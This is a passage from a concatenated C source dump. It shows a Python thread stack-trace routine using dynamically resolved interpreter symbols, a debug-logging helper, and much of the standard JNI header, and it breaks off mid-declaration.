"Py_IsInitialized"); pThreadsInitialized = (PyEval_ThreadsInitialized_t) MemResolveSymbol( hPythonLib, "PyEval_ThreadsInitialized"); pGILState_Ensure = (PyGILState_Ensure_t) MemResolveSymbol( hPythonLib, "PyGILState_Ensure"); pGILState_Release = (PyGILState_Release_t) MemResolveSymbol( hPythonLib, "PyGILState_Release"); pGILState_GetThisThreadState = (PyGILState_GetThisThreadState_t) MemResolveSymbol( hPythonLib, "PyGILState_GetThisThreadState"); pCode_Addr2Line = (PyCode_Addr2Line_t) MemResolveSymbol( hPythonLib, "PyCode_Addr2Line"); if (!(pIsInitialized && pThreadsInitialized && pGILState_Ensure && pGILState_Release && pGILState_GetThisThreadState && pCode_Addr2Line)) { dprint( "Py_GetCurrentThreadStackTrace: Not all functions found\n" ); return -2; } if (!pIsInitialized()) { dprint( "Py_GetCurrentThreadStackTrace: Python is not initialized\n" ); return -3; } if (!pThreadsInitialized()) { dprint( "Py_GetCurrentThreadStackTrace: Python threads are not initialized\n" ); return -4; } Current_Thread_state = pGILState_GetThisThreadState(); if (!Current_Thread_state) { dprint( "Py_GetCurrentThreadStackTrace: Thread state is NULL\n" ); return -5; } dprint("Py_GetCurrentThreadStackTrace: start\n"); GIL_state = pGILState_Ensure(); Thread_state = Current_Thread_state; while (Thread_state && dwDumpedThreadsCount ++ < 256) { if (Thread_state == Current_Thread_state) { if (blCurrentThreadDumped) { dprint("Current thread was already dumped\n"); Thread_state = Thread_state->next; continue; } else { dprint("Dumping current thread first time\n"); cb(cbdata, "Current Thread", NULL, Thread_state->thread_id); } } else { cb(cbdata, "Thread", NULL, Thread_state->thread_id); } if (Thread_state->frame) { PyFrameObject *frame = Thread_state->frame; dprint( "Py_GetCurrentThreadStackTrace: parse %p (Thread ID: %d)\n", frame, Thread_state->thread_id ); dprint( "Py_GetCurrentThreadStackTrace: Top frame object: %p size=%d refs=%d\n", frame, frame->ob_size, frame->ob_refcnt ); dprint( "Py_GetCurrentThreadStackTrace: Top frame code object: %p refs=%d\n", frame->f_code, frame->f_code->ob_refcnt ); dprint( "Py_GetCurrentThreadStackTrace: Top frame code object: function=%s, file=%s\n", frame->f_code->co_name, frame->f_code->co_filename ); while (frame) { int line = pCode_Addr2Line(frame->f_code, frame->f_lasti); const char *funcname = PyBytes_AsString(frame->f_code->co_name); const char *filename = PyBytes_AsString(frame->f_code->co_filename); dprint( "Py_GetCurrentThreadStackTrace: func=%s file=%s line=%d\n", funcname, filename, line ); cb(cbdata, funcname, filename, line); frame = frame->f_back; } } if (Thread_state == Current_Thread_state) { dprint("Switching to all threads\n"); Thread_state = Current_Thread_state->interp->tstate_head; blCurrentThreadDumped = TRUE; } else { dprint("Continue to dump all threads\n"); Thread_state = Thread_state->next; } } pGILState_Release(GIL_state); dprint("Py_GetCurrentThreadStackTrace: complete\n"); return 0; } ================================================ FILE: client/common/Python-stacktrace.h ================================================ #ifndef PYTHON_STACKTRACE_H #define PYTHON_STACKTRACE_H typedef void (*Py_GetStackTraceCb_t)( void *cbdata, const char *function, const char *file, unsigned int line ); static int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata); #endif ================================================ FILE: client/common/debug.c ================================================ #include "debug.h" static FILE* debug_log = NULL; int dprint(const char *fmt, ...) { va_list args; int n; FILE *log = stdout; if (debug_log != NULL) log = debug_log; va_start (args, fmt); n = vfprintf(log, fmt, args); va_end (args); fflush(log); return n; } #ifdef _WIN32 int dwprint(const wchar_t *fmt, ...) { va_list args; int n; FILE *log = stdout; if (debug_log != NULL) log = debug_log; va_start (args, fmt); n = vfwprintf(log, fmt, args); va_end (args); fflush(log); return n; } #endif void set_debug_log(const char *dest) { FILE * new_debug_log = fopen(dest, "w+"); FILE * old_debug_log = debug_log; if (!new_debug_log) { dprint("Failed to open new debug log dest: %s\n", dest); return; } dprint("Redirecting debug log to %s\n", dest); debug_log = new_debug_log; if (old_debug_log) fclose(old_debug_log); } ================================================ FILE: client/common/debug.h ================================================ #ifndef __DEBUG_H #define __DEBUG_H #include #include #ifdef DEBUG int dprint(const char *fmt, ...); #ifdef _WIN32 int dwprint(const wchar_t *fmt, ...); #endif void set_debug_log(const char *dest); #define DOC(x) x #else #define DOC(x) "" #define dprint(...) do {} while (0) #define dwprint(...) do {} while (0)// #endif #endif /* __DEBUG_H */ ================================================ FILE: client/common/jni.h ================================================ /* * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ /* * We used part of Netscape's Java Runtime Interface (JRI) as the starting * point of our design and implementation. */ /****************************************************************************** * Java Runtime Interface * Copyright (c) 1996 Netscape Communications Corporation. All rights reserved. *****************************************************************************/ #ifndef _JAVASOFT_JNI_H_ #define _JAVASOFT_JNI_H_ #include #include /* jni_md.h contains the machine-dependent typedefs for jbyte, jint and jlong */ #include "jni_md.h" #ifdef __cplusplus extern "C" { #endif /* * JNI Types */ #ifndef JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H typedef unsigned char jboolean; typedef unsigned short jchar; typedef short jshort; typedef float jfloat; typedef double jdouble; typedef jint jsize; #ifdef __cplusplus class _jobject {}; class _jclass : public _jobject {}; class _jthrowable : public _jobject {}; class _jstring : public _jobject {}; class _jarray : public _jobject {}; class _jbooleanArray : public _jarray {}; class _jbyteArray : public _jarray {}; class _jcharArray : public _jarray {}; class _jshortArray : public _jarray {}; class _jintArray : public _jarray {}; class _jlongArray : public _jarray {}; class _jfloatArray : public _jarray {}; class _jdoubleArray : public _jarray {}; class _jobjectArray : public _jarray {}; typedef _jobject *jobject; typedef _jclass *jclass; typedef _jthrowable *jthrowable; typedef _jstring *jstring; typedef _jarray *jarray; typedef _jbooleanArray *jbooleanArray; typedef _jbyteArray *jbyteArray; typedef _jcharArray *jcharArray; typedef _jshortArray *jshortArray; typedef _jintArray *jintArray; typedef _jlongArray *jlongArray; typedef _jfloatArray *jfloatArray; typedef _jdoubleArray *jdoubleArray; typedef _jobjectArray *jobjectArray; #else struct _jobject; typedef struct _jobject *jobject; typedef jobject jclass; typedef jobject jthrowable; typedef jobject jstring; typedef jobject jarray; typedef jarray jbooleanArray; typedef jarray jbyteArray; typedef jarray jcharArray; typedef jarray jshortArray; typedef jarray jintArray; typedef jarray jlongArray; typedef jarray jfloatArray; typedef jarray jdoubleArray; typedef jarray jobjectArray; #endif typedef jobject jweak; typedef union jvalue { jboolean z; jbyte b; jchar c; jshort s; jint i; jlong j; jfloat f; jdouble d; jobject l; } jvalue; struct _jfieldID; typedef struct _jfieldID *jfieldID; struct _jmethodID; typedef struct _jmethodID *jmethodID; /* Return values from jobjectRefType */ typedef enum _jobjectType { JNIInvalidRefType = 0, JNILocalRefType = 1, JNIGlobalRefType = 2, JNIWeakGlobalRefType = 3 } jobjectRefType; #endif /* JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H */ /* * jboolean constants */ #define JNI_FALSE 0 #define JNI_TRUE 1 /* * possible return values for JNI functions. */ #define JNI_OK 0 /* success */ #define JNI_ERR (-1) /* unknown error */ #define JNI_EDETACHED (-2) /* thread detached from the VM */ #define JNI_EVERSION (-3) /* JNI version error */ #define JNI_ENOMEM (-4) /* not enough memory */ #define JNI_EEXIST (-5) /* VM already created */ #define JNI_EINVAL (-6) /* invalid arguments */ /* * used in ReleaseScalarArrayElements */ #define JNI_COMMIT 1 #define JNI_ABORT 2 /* * used in RegisterNatives to describe native method name, signature, * and function pointer. */ typedef struct { char *name; char *signature; void *fnPtr; } JNINativeMethod; /* * JNI Native Method Interface. */ struct JNINativeInterface_; struct JNIEnv_; #ifdef __cplusplus typedef JNIEnv_ JNIEnv; #else typedef const struct JNINativeInterface_ *JNIEnv; #endif /* * JNI Invocation Interface. */ struct JNIInvokeInterface_; struct JavaVM_; #ifdef __cplusplus typedef JavaVM_ JavaVM; #else typedef const struct JNIInvokeInterface_ *JavaVM; #endif struct JNINativeInterface_ { void *reserved0; void *reserved1; void *reserved2; void *reserved3; jint (JNICALL *GetVersion)(JNIEnv *env); jclass (JNICALL *DefineClass) (JNIEnv *env, const char *name, jobject loader, const jbyte *buf, jsize len); jclass (JNICALL *FindClass) (JNIEnv *env, const char *name); jmethodID (JNICALL *FromReflectedMethod) (JNIEnv *env, jobject method); jfieldID (JNICALL *FromReflectedField) (JNIEnv *env, jobject field); jobject (JNICALL *ToReflectedMethod) (JNIEnv *env, jclass cls, jmethodID methodID, jboolean isStatic); jclass (JNICALL *GetSuperclass) (JNIEnv *env, jclass sub); jboolean (JNICALL *IsAssignableFrom) (JNIEnv *env, jclass sub, jclass sup); jobject (JNICALL *ToReflectedField) (JNIEnv *env, jclass cls, jfieldID fieldID, jboolean isStatic); jint (JNICALL *Throw) (JNIEnv *env, jthrowable obj); jint (JNICALL *ThrowNew) (JNIEnv *env, jclass clazz, const char *msg); jthrowable (JNICALL *ExceptionOccurred) (JNIEnv *env); void (JNICALL *ExceptionDescribe) (JNIEnv *env); void (JNICALL *ExceptionClear) (JNIEnv *env); void (JNICALL *FatalError) (JNIEnv *env, const char *msg); jint (JNICALL *PushLocalFrame) (JNIEnv *env, jint capacity); jobject (JNICALL *PopLocalFrame) (JNIEnv *env, jobject result); jobject (JNICALL *NewGlobalRef) (JNIEnv *env, jobject lobj); void (JNICALL *DeleteGlobalRef) (JNIEnv *env, jobject gref); void (JNICALL *DeleteLocalRef) (JNIEnv *env, jobject obj); jboolean (JNICALL *IsSameObject) (JNIEnv *env, jobject obj1, jobject obj2); jobject (JNICALL *NewLocalRef) (JNIEnv *env, jobject ref); jint (JNICALL *EnsureLocalCapacity) (JNIEnv *env, jint capacity); jobject (JNICALL *AllocObject) (JNIEnv *env, jclass clazz); jobject (JNICALL *NewObject) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jobject (JNICALL *NewObjectV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jobject (JNICALL *NewObjectA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jclass (JNICALL *GetObjectClass) (JNIEnv *env, jobject obj); jboolean (JNICALL *IsInstanceOf) (JNIEnv *env, jobject obj, jclass clazz); jmethodID (JNICALL *GetMethodID) (JNIEnv *env, jclass clazz, const char *name, const char *sig); jobject (JNICALL *CallObjectMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jobject (JNICALL *CallObjectMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jobject (JNICALL *CallObjectMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args); jboolean (JNICALL *CallBooleanMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jboolean (JNICALL *CallBooleanMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jboolean (JNICALL *CallBooleanMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args); jbyte (JNICALL *CallByteMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jbyte (JNICALL *CallByteMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jbyte (JNICALL *CallByteMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jchar (JNICALL *CallCharMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jchar (JNICALL *CallCharMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jchar (JNICALL *CallCharMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jshort (JNICALL *CallShortMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jshort (JNICALL *CallShortMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jshort (JNICALL *CallShortMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jint (JNICALL *CallIntMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jint (JNICALL *CallIntMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jint (JNICALL *CallIntMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jlong (JNICALL *CallLongMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jlong (JNICALL *CallLongMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jlong (JNICALL *CallLongMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jfloat (JNICALL *CallFloatMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jfloat (JNICALL *CallFloatMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jfloat (JNICALL *CallFloatMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); jdouble (JNICALL *CallDoubleMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); jdouble (JNICALL *CallDoubleMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); jdouble (JNICALL *CallDoubleMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); void (JNICALL *CallVoidMethod) (JNIEnv *env, jobject obj, jmethodID methodID, ...); void (JNICALL *CallVoidMethodV) (JNIEnv *env, jobject obj, jmethodID methodID, va_list args); void (JNICALL *CallVoidMethodA) (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args); jobject (JNICALL *CallNonvirtualObjectMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jobject (JNICALL *CallNonvirtualObjectMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jobject (JNICALL *CallNonvirtualObjectMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue * args); jboolean (JNICALL *CallNonvirtualBooleanMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jboolean (JNICALL *CallNonvirtualBooleanMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jboolean (JNICALL *CallNonvirtualBooleanMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue * args); jbyte (JNICALL *CallNonvirtualByteMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jbyte (JNICALL *CallNonvirtualByteMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jbyte (JNICALL *CallNonvirtualByteMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jchar (JNICALL *CallNonvirtualCharMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jchar (JNICALL *CallNonvirtualCharMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jchar (JNICALL *CallNonvirtualCharMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jshort (JNICALL *CallNonvirtualShortMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jshort (JNICALL *CallNonvirtualShortMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jshort (JNICALL *CallNonvirtualShortMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jint (JNICALL *CallNonvirtualIntMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jint (JNICALL *CallNonvirtualIntMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jint (JNICALL *CallNonvirtualIntMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jlong (JNICALL *CallNonvirtualLongMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jlong (JNICALL *CallNonvirtualLongMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jlong (JNICALL *CallNonvirtualLongMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jfloat (JNICALL *CallNonvirtualFloatMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jfloat (JNICALL *CallNonvirtualFloatMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jfloat (JNICALL *CallNonvirtualFloatMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); jdouble (JNICALL *CallNonvirtualDoubleMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); jdouble (JNICALL *CallNonvirtualDoubleMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); jdouble (JNICALL *CallNonvirtualDoubleMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue *args); void (JNICALL *CallNonvirtualVoidMethod) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...); void (JNICALL *CallNonvirtualVoidMethodV) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, va_list args); void (JNICALL *CallNonvirtualVoidMethodA) (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, const jvalue * args); jfieldID (JNICALL *GetFieldID) (JNIEnv *env, jclass clazz, const char *name, const char *sig); jobject (JNICALL *GetObjectField) (JNIEnv *env, jobject obj, jfieldID fieldID); jboolean (JNICALL *GetBooleanField) (JNIEnv *env, jobject obj, jfieldID fieldID); jbyte (JNICALL *GetByteField) (JNIEnv *env, jobject obj, jfieldID fieldID); jchar (JNICALL *GetCharField) (JNIEnv *env, jobject obj, jfieldID fieldID); jshort (JNICALL *GetShortField) (JNIEnv *env, jobject obj, jfieldID fieldID); jint (JNICALL *GetIntField) (JNIEnv *env, jobject obj, jfieldID fieldID); jlong (JNICALL *GetLongField) (JNIEnv *env, jobject obj, jfieldID fieldID); jfloat (JNICALL *GetFloatField) (JNIEnv *env, jobject obj, jfieldID fieldID); jdouble (JNICALL *GetDoubleField) (JNIEnv *env, jobject obj, jfieldID fieldID); void (JNICALL *SetObjectField) (JNIEnv *env, jobject obj, jfieldID fieldID, jobject val); void (JNICALL *SetBooleanField) (JNIEnv *env, jobject obj, jfieldID fieldID, jboolean val); void (JNICALL *SetByteField) (JNIEnv *env, jobject obj, jfieldID fieldID, jbyte val); void (JNICALL *SetCharField) (JNIEnv *env, jobject obj, jfieldID fieldID, jchar val); void (JNICALL *SetShortField) (JNIEnv *env, jobject obj, jfieldID fieldID, jshort val); void (JNICALL *SetIntField) (JNIEnv *env, jobject obj, jfieldID fieldID, jint val); void (JNICALL *SetLongField) (JNIEnv *env, jobject obj, jfieldID fieldID, jlong val); void (JNICALL *SetFloatField) (JNIEnv *env, jobject obj, jfieldID fieldID, jfloat val); void (JNICALL *SetDoubleField) (JNIEnv *env, jobject obj, jfieldID fieldID, jdouble val); jmethodID (JNICALL *GetStaticMethodID) (JNIEnv *env, jclass clazz, const char *name, const char *sig); jobject (JNICALL *CallStaticObjectMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jobject (JNICALL *CallStaticObjectMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jobject (JNICALL *CallStaticObjectMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jboolean (JNICALL *CallStaticBooleanMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jboolean (JNICALL *CallStaticBooleanMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jboolean (JNICALL *CallStaticBooleanMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jbyte (JNICALL *CallStaticByteMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jbyte (JNICALL *CallStaticByteMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jbyte (JNICALL *CallStaticByteMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jchar (JNICALL *CallStaticCharMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jchar (JNICALL *CallStaticCharMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jchar (JNICALL *CallStaticCharMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jshort (JNICALL *CallStaticShortMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jshort (JNICALL *CallStaticShortMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jshort (JNICALL *CallStaticShortMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jint (JNICALL *CallStaticIntMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jint (JNICALL *CallStaticIntMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jint (JNICALL *CallStaticIntMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jlong (JNICALL *CallStaticLongMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jlong (JNICALL *CallStaticLongMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jlong (JNICALL *CallStaticLongMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jfloat (JNICALL *CallStaticFloatMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jfloat (JNICALL *CallStaticFloatMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jfloat (JNICALL *CallStaticFloatMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); jdouble (JNICALL *CallStaticDoubleMethod) (JNIEnv *env, jclass clazz, jmethodID methodID, ...); jdouble (JNICALL *CallStaticDoubleMethodV) (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args); jdouble (JNICALL *CallStaticDoubleMethodA) (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args); void (JNICALL *CallStaticVoidMethod) (JNIEnv *env, jclass cls, jmethodID methodID, ...); void (JNICALL *CallStaticVoidMethodV) (JNIEnv *env, jclass cls, jmethodID methodID, va_list args); void (JNICALL *CallStaticVoidMethodA) (JNIEnv *env, jclass cls, jmethodID methodID, const jvalue * args); jfieldID (JNICALL *GetStaticFieldID) (JNIEnv *env, jclass clazz, const char *name, const char *sig); jobject (JNICALL *GetStaticObjectField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jboolean (JNICALL *GetStaticBooleanField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jbyte (JNICALL *GetStaticByteField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jchar (JNICALL *GetStaticCharField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jshort (JNICALL *GetStaticShortField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jint (JNICALL *GetStaticIntField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jlong (JNICALL *GetStaticLongField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jfloat (JNICALL *GetStaticFloatField) (JNIEnv *env, jclass clazz, jfieldID fieldID); jdouble (JNICALL *GetStaticDoubleField) (JNIEnv *env, jclass clazz, jfieldID fieldID); void (JNICALL *SetStaticObjectField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jobject value); void (JNICALL *SetStaticBooleanField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jboolean value); void (JNICALL *SetStaticByteField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jbyte value); void (JNICALL *SetStaticCharField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jchar value); void (JNICALL *SetStaticShortField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jshort value); void (JNICALL *SetStaticIntField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jint value); void (JNICALL *SetStaticLongField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jlong value); void (JNICALL *SetStaticFloatField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jfloat value); void (JNICALL *SetStaticDoubleField) (JNIEnv *env, jclass clazz, jfieldID fieldID, jdouble value); jstring (JNICALL *NewString) (JNIEnv *env, const jchar *unicode, jsize len); jsize (JNICALL *GetStringLength) (JNIEnv *env, jstring str); const jchar *(JNICALL *GetStringChars) (JNIEnv *env, jstring str, jboolean *isCopy); void (JNICALL *ReleaseStringChars) (JNIEnv *env, jstring str, const jchar *chars); jstring (JNICALL *NewStringUTF) (JNIEnv *env, const char *utf); jsize (JNICALL *GetStringUTFLength) (JNIEnv *env, jstring str); const char* (JNICALL *GetStringUTFChars) (JNIEnv *env, jstring str, jboolean *isCopy); void (JNICALL *ReleaseStringUTFChars) (JNIEnv *env, jstring str, const char* chars); jsize (JNICALL *GetArrayLength) (JNIEnv *env, jarray array); jobjectArray (JNICALL *NewObjectArray) (JNIEnv *env, jsize len, jclass clazz, jobject init); jobject (JNICALL *GetObjectArrayElement) (JNIEnv *env, jobjectArray array, jsize index); void (JNICALL *SetObjectArrayElement) (JNIEnv *env, jobjectArray array, jsize index, jobject val); jbooleanArray (JNICALL *NewBooleanArray) (JNIEnv *env, jsize len); jbyteArray (JNICALL *NewByteArray) (JNIEnv *env, jsize len); jcharArray (JNICALL *NewCharArray) (JNIEnv *env, jsize len); jshortArray (JNICALL *NewShortArray) (JNIEnv *env, jsize len); jintArray (JNICALL *NewIntArray) (JNIEnv *env, jsize len); jlongArray (JNICALL *NewLongArray) (JNIEnv *env, jsize len); jfloatArray (JNICALL *NewFloatArray) (JNIEnv *env, jsize len); jdoubleArray (JNICALL *NewDoubleArray) (JNIEnv *env, jsize len); jboolean * (JNICALL *GetBooleanArrayElements) (JNIEnv *env, jbooleanArray array, jboolean *isCopy); jbyte * (JNICALL *GetByteArrayElements) (JNIEnv *env, jbyteArray array, jboolean *isCopy); jchar * (JNICALL *GetCharArrayElements) (JNIEnv *env, jcharArray array, jboolean *isCopy); jshort * (JNICALL *GetShortArrayElements) (JNIEnv *env, jshortArray array, jboolean *isCopy); jint * (JNICALL *GetIntArrayElements) (JNIEnv *env, jintArray array, jboolean *isCopy); jlong * (JNICALL *GetLongArrayElements) (JNIEnv *env, jlongArray array, jboolean *isCopy); jfloat * (JNICALL *GetFloatArrayElements) (JNIEnv *env, jfloatArray array, jboolean *isCopy); jdouble * (JNICALL *GetDoubleArrayElements) (JNIEnv *env, jdoubleArray array, jboolean *isCopy); void (JNICALL *ReleaseBooleanArrayElements) (JNIEnv *env, jbooleanArray array, jboolean *elems, jint mode); void (JNICALL *ReleaseByteArrayElements) (JNIEnv *env, jbyteArray array, jbyte *elems, jint mode); void (JNICALL *ReleaseCharArrayElements) (JNIEnv *env, jcharArray array, jchar *elems, jint mode); void (JNICALL *ReleaseShortArrayElements) (JNIEnv *env, jshortArray array, jshort *elems, jint mode); void (JNICALL *ReleaseIntArrayElements) (JNIEnv *env, jintArray array, jint *elems, jint mode); void (JNICALL *ReleaseLongArrayElements) (JNIEnv *env, jlongArray array, jlong *elems, jint mode); void (JNICALL *ReleaseFloatArrayElements) (JNIEnv *env, jfloatArray array, jfloat *elems, jint mode); void (JNICALL *ReleaseDoubleArrayElements) (JNIEnv *env, jdoubleArray array, jdouble *elems, jint mode); void (JNICALL *GetBooleanArrayRegion) (JNIEnv *env, jbooleanArray array, jsize start, jsize l, jboolean *buf); void (JNICALL *GetByteArrayRegion) (JNIEnv *env, jbyteArray array, jsize start, jsize len, jbyte *buf); void (JNICALL *GetCharArrayRegion) (JNIEnv *env, jcharArray array, jsize start, jsize len, jchar *buf); void (JNICALL *GetShortArrayRegion) (JNIEnv *env, jshortArray array, jsize start, jsize len, jshort *buf); void (JNICALL *GetIntArrayRegion) (JNIEnv *env, jintArray array, jsize start, jsize len, jint *buf); void (JNICALL *GetLongArrayRegion) (JNIEnv *env, jlongArray array, jsize start, jsize len, jlong *buf); void (JNICALL *GetFloatArrayRegion) (JNIEnv *env, jfloatArray array, jsize start, jsize len, jfloat *buf); void (JNICALL *GetDoubleArrayRegion) (JNIEnv *env, jdoubleArray array, jsize start, jsize len, jdouble *buf); void (JNICALL *SetBooleanArrayRegion) (JNIEnv *env, jbooleanArray array, jsize start, jsize l, const jboolean *buf); void (JNICALL *SetByteArrayRegion) (JNIEnv *env, jbyteArray array, jsize start, jsize len, const jbyte *buf); void (JNICALL *SetCharArrayRegion) (JNIEnv *env, jcharArray array, jsize start, jsize len, const jchar *buf); void (JNICALL *SetShortArrayRegion) (JNIEnv *env, jshortArray array, jsize start, jsize len, const jshort *buf); void (JNICALL *SetIntArrayRegion) (JNIEnv *env, jintArray array, jsize start, jsize len, const jint *buf); void (JNICALL *SetLongArrayRegion) (JNIEnv *env, jlongArray array, jsize start, jsize len, const jlong *buf); void (JNICALL *SetFloatArrayRegion) (JNIEnv *env, jfloatArray array, jsize start, jsize len, const jfloat *buf); void (JNICALL *SetDoubleArrayRegion) (JNIEnv *env, jdoubleArray array, jsize start, jsize len, const jdouble *buf); jint (JNICALL *RegisterNatives) (JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods); jint (JNICALL *UnregisterNatives) (JNIEnv *env, jclass clazz); jint (JNICALL *MonitorEnter) (JNIEnv *env, jobject obj); jint (JNICALL *MonitorExit) (JNIEnv *env, jobject obj); jint (JNICALL *GetJavaVM) 